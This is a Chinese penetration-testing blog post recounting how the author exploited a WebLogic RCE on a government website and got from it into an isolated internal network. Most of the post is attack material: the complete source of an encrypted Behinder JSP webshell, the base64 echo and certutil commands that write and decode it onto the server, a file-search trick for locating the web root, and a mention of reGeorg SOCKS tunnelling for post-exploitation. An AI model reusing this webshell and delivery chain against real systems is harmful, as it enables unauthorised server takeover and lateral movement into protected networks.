TIDE_网络安全

从RCE到隔离内网

2019-06-24  本文已影响14人  RabbitMask

最近接到一个小任务,某GOV网站存在Weblogic漏洞需要验证,于是乎掏出WeblogicScan一键检测,emmmm,翻车了。。。

考虑到WeblogicScan中唯一不成熟的脚本只能最新的CVE-2019-2925了,安排!不过确实是时候该抽空进行WeblogicScan的升级了,敬请期待。。。

https://github.com/rabbitmask/WeblogicScan

回归正题,本章亮点主要在于使用bash64加解密写入webshell、查找文件绝对路径等。。。

RCE

通过命令执行,我们获取到以下信息:
目标无法访问外网 => 无法反弹shell
目标系统windows => cmd字符长度限制
目标进程没有杀软 => 可写入webshell
策略:手动写入webshell至网站目录。

路径查找

借助RCE dir一下,显然这是webapp所在domain目录:

d:\weblogic1036\user_projects\domains\base_domain

借助RCE一层层去找webapp目录,一脸懵逼ing,这时才想到大佬提到过的dir基本命令,我们通过查看页面源码找到一个标识度较高的文件,然后进行文件遍历:

dir d:\filename.jsp /s /b

从而对应到webapp路径与物理路径,值得吐槽的是,笔者在这里拿到的路径在第十层目录,2333333,还好我没有翻下去。

写入Webshell

首先我们需要明确的是,cmd下字符长度限制的问题,参考微软官方说法:

在计算机上运行 Windows XP 或更高版本,您可以在命令提示符下使用该字符串的最大长度 8191 个字符。在运行 Microsoft Windows 2000 或 Windows NT 4.0 的计算机,您可以在命令提示符下使用该字符串的最大长度为 2047个字符。

我们抛弃了jsp大马的选项,在此选用冰蝎的一句话作为本次payload。
在将木马写入指定路径的过程中,发现当cmd命令执行时payload作为字符串出现造成了各种报错,因为payload中含有各种各样的特殊字符,把RCE payload语句完全打乱了,这时候有两种策略:

一句话jsp木马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

进行bash64编码然后echo输出到txt文件:

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >> 1.txt

将目标文件内容解码并生成webshell到指定目录:

certutil -decode 1.txt 1.jsp

连入webshell:

当前权限system,接下来reGeorg+Proxifier建立socks隧道将本机带入内网,即可开启隔离内网的后渗透阶段。

总结

综上所述,看似绝对安全的内外网隔离配置只要存在突破点就会变得漏洞百出,此次对进入隔离内外的突破点正是中间件的RCE漏洞,CVE-2019-2925在最近的几个月一直都很活跃,希望10.3.6 & 12.1.3版本用户引起重视,密切关注官网最新补丁并及时更新。

上一篇下一篇

猜你喜欢

热点阅读